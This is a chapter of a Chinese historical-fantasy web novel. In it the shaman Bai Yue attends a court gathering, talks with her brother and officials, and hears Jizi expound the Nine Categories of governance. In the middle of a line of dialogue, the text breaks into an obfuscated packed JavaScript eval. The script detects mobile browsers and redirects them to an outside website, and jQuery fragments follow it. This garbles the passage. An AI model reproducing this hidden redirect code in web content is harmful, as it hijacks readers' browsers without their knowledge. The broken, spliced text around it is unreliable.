51. 第五十一章 九畴

作品:《大巫

    在洛邑停留数日,考察过地势后,白岄与辛甲陪同武王前往管国朝会。


    管叔鲜带着蔡叔度、霍叔处,丽季带着先行到达管国的礼官和巫祝们,在城外相迎。


    经过一年的营建,原本位于殷都王畿边缘的这座城邑,如今庙堂威严,楼阁高耸。


    中原与东方各地的诸侯们已接到消息,陆续赶到管国,一时间城邑内车马辚辚,行人攘攘,十分繁华。


    不过,这些热闹与巫祝们却没什么关系。


    朝会前将在宗庙内祭祀先王,辛甲和白岄正带着巫祝们筹备一应事宜。


    白岘坐在宗庙的阶下,拉着葞询问他们在殷都的见闻。


    他有很多很多话想对白岄说,可眼见着姐姐忙碌,他不敢贸然上前打搅。


    白葑捧着礼器经过,见他竟没有缠着白岄,讶异道:“阿岘这一年来跟在王上身边,倒是沉稳了许多。”


    “我又不是小孩子了。”白岘起身拍了拍衣角的尘土,跟上白葑,“有什么我能帮忙的吗?”


    白葑想了一会儿,“我们要摆几案和礼器,阿岘若还记得怎么摆放,就一起来吧。”


    白岘接过沉重的礼器,不满地嘟囔道:“我在丰镐也是有跟着叔父学课业的啊,还定期向姐姐汇报过进度,怎么在你们口中,好像是我完全荒废了一样……”


    白葑笑道:“那一会儿让阿岄考考你。”


    “啊——?那还是别了。”白岘看了看头顶,气势霎时短了一截,“好不容易见到姐姐,要是惹了她不高兴,那多不好。”


    “嗯?你又做什么了,要惹得我不高兴?”白岄捧着一束菁茅,与辛甲从宗庙内走出来。


    “没有、没有啦。”白岘小心地将礼器稳稳放置在几案上,才一转身跳到白岄身旁,“我可是很听话的,不信你问太史。”


    辛甲点头表示赞同,白岘虽性子活泛跳脱,但少年人心性,一说就改,比白岄和丽季那种犟脾气,可要好管束多了。


    白岄将菁茅扎成锥状,摆在先王神主之前,“那就好。”


    “巫箴。”辛甲看向她,“你在殷都如何?”


    白岄拢了拢菁茅束,让它们能够稳定地树立起来,才起身回答:“与微子和贞人他们,相处得也算融洽。”


    “听闻信使回报,你于半年前夺取大巫之位,想必其间也诸多艰险吧?”


    白岘在旁切切地道:“是啊,刚才我听葞说起,姐姐招来了许多飞鸟,将它们当作神明的化身,以此杀了那些反对你的主祭,听起来就很危险啊。”


    摆好了菁茅,白岄转身离开宗庙,告诫道:“先王神主面前,不要说这些。”


    “哦……”白岘跟在她身旁,见几案、礼器、祭器都已摆好,蹭近了一些,抱住她一条胳膊,凑到她耳边轻声道,“姐姐,我真的很想你。”


    白岄伸手敲了敲他的额头,“都这么大了,还喜欢撒娇,也不怕被人听到了丢人。”


    白岘摇头,“那就让他们笑话好了,我才不在乎呢。”


    转到宗庙一角的阴影处,白岘放了手,脸上的笑也收去了,“姐姐打算什么时候回丰镐呢?”


    “我不能离开殷都。”白岄面色凝重,要改变商人的想法几乎是不可能的,巫祝和贵族们各怀心思,她在殷都尚能牵制一二,一旦离开,之前所作的努力只怕都要付诸流水。


    “可姐姐也知道吧……?”白岘面露悲色,低声道,“王上的病已越来越重了……我和医师们,没有办法……”


    他们已经束手无策,接下去,就只能寄希望于神明了。


    可这高天上的神明,有谁愿意聆听人间的祈祷呢?


    白岄轻声道:“听闻先王曾受命于天,要去匡正商王的无道,可惜天不假年,未能完成。如今王上想要在洛邑营建新都……”


    如果新的城邑能够营造完成,将殷之民也尽数迁居过去,让他们接触周人的生活方式,假以时日,或许真能改变……


    只可惜,同样是天不假年啊。


    “阿岄!”丽季从一侧快步走来,一边絮絮地抱怨,“总算把那些事务都处理完了,怎么有这么多诸侯前来……”


    白岄转过身,“内史,许久不见了。”


    “让我看看。”丽季上前扶着她的肩,摘下面具,仔细打量了一会儿,皱起眉,“你的脸色不好,好像又瘦了,这样下去不行的。阿岄,这次随我们回丰镐吧。”


    她在殷都,虽有三监驻兵作为后盾,可与贵族和巫祝们周旋的凶险,却无人可替代,每一步都是如履薄冰。


    白岄劝慰道:“天下未定,谁又不是在夙夜辛劳?内史也比从前憔悴不少。”


    丽季叹息,“可人的心力终究有限,阿岄,你一人要如何与殷都那么多贵族和巫祝对抗呢?他们哪一个不是城府幽深,心思叵测?”


    “是啊……自从姐姐离开殷都,总觉得像在撑着一口气,很辛苦。”白岘也忧虑地皱起眉,虽然白岄的性子与从前并无不同,可他总觉得很不安。


    “别胡思乱想了。”白岄摸了摸他的额头,“你没听葑和葞说起吗?我在殷都一切皆好,依然能担任主祭,你们有什么可担心的?”


    朝会进行得很顺利,那之后,武王前往箕山拜访箕子。


    箕山位于管国西南侧,山势低缓,流水淙淙,草木丰茂。


    箕子隐居于此,对于前来拜访的众人谈不上欢迎,谈论了些治国的道理便命人送客。


    白岄却不走,箕子看向神情冷漠的女巫,“巫箴不随周王一起回去?”


    白岄立于松下,望着远处的山脉,东风吹至,大地一片新绿,“我将返回殷都,与王上并不同路。”


    “听闻巫箴在殷都闹得天翻地覆,令微子与贞人很是头疼。”


    白岄答道:“本就是微子和贞人,始终容忍我在殷都的种种行事。”


    她倚仗的真是神明的力量吗?这种借口只能骗骗笃信神明的民众。


    真正纵容她在殷都乱来的人,应当是微子启和贞人涅才对啊。


    箕子摇头,“他们只是惮于你背后的三监和周王。”


    “天色不早了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494392|168759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女巫也早些启程吧。”


    白岄拦住他,“王上希望请您至丰镐任职,辅佐朝政。”


    “我已再三说过,不愿再为人臣。”箕子看向白岄,“也不会再涉足殷都之事,周王依然信不过吗?”


    白岄直截了当地道:“可殷都的贵族们,仍然信赖您,箕山距离殷都不过六七日的路程,您还在此处,便是人心所向。”


    “王上有意在洛邑营建新都,将迁殷民于洛,古时盘庚王迁至殷地,也曾遭遇许多阻拦。”白岄慢慢道,“殷民自来顽固,到那时还需箕子带领殷民前去新邑。”


    “……周王还真是执著啊。”箕子望着远处的天穹,“你说服贞人取消了献祭人牲?”


    “只是各退一步,谈不上说服。”白岄摇头,“不过,您会对王上说那些,我很意外。”


    箕子说,上古之时,天帝曾授予夏后氏禹治国的九种方法,名为“洪范九畴”。


    其中一曰五行,二曰敬用五事,三曰农用八政,四曰协用五纪,五曰建用皇极,六曰乂用三德,七曰明用稽疑,八曰念用庶征,九曰向用五福,威用六极。


    而在八政之中,以“食”教民勤勉耕种,以“货”教民获取资用,以“祀”教民敬事鬼神,“司空”教民兴建屋舍,使有所安居,“司徒”教民礼义,“司寇”纠察奸恶,以“宾”教民礼待宾客、互通往来,以“师”建立军队,以卫自身。


    这是否真是有夏氏治国的方法已不得而知,但想必是箕子所信奉的理想之世。


    可从来国之大事,在祀与戎。


    商人信奉神明,又崇尚武力,将其共居于首位,至于民众……似乎没有人在乎。


    可在这八政之中,竟以“食”、“货”居于“祀”之前,而以“师”居于最末。


    白岄仍然直言不讳,“不论如何,这听起来并不像商人会相信的东西。”


    箕子望着远山,流露出少许怀念,“西伯曾与我这样说起,就是你们口中的那位‘先王’,巫箴曾见过他吗?”


    “十余年前在殷都见过几次,已不记得是何模样了。”


    “他很看重民众,希望他们安居乐业,第一步就是使其食能果腹,衣能蔽体,之后才是心有所安,身有所处,当安定下来之后,便可以教之礼义、法度。”箕子慢慢地阖上眼,似乎真的看到了那样的情景,“在这样的城邑中,人们能礼待宾客,不与人争,理当是用不上征伐之事,因此‘师’居于末尾。”


    白岄顺着他的话想了想,问道:“您真的相信吗?身为商人,您应当明白,那些是不可能的。”


    食、货,立身之本;祀者,心之安居;屋者,身之安居。


    礼义,内修己德;法度,外定秩序;宾客,往来互通,如鉴自照。


    如果做到了这些,自然可以四境清平,不起兵戈,归马华山,放牛桃林。


    听起来似乎无懈可击,令人神往,可只要走入殷都就会发现,人们太容易被诱惑了,飘忽迷蒙的神迹,醇美香甜的鬯酒,温热泼洒的鲜血,每一样都能轻易诱人坠入深渊。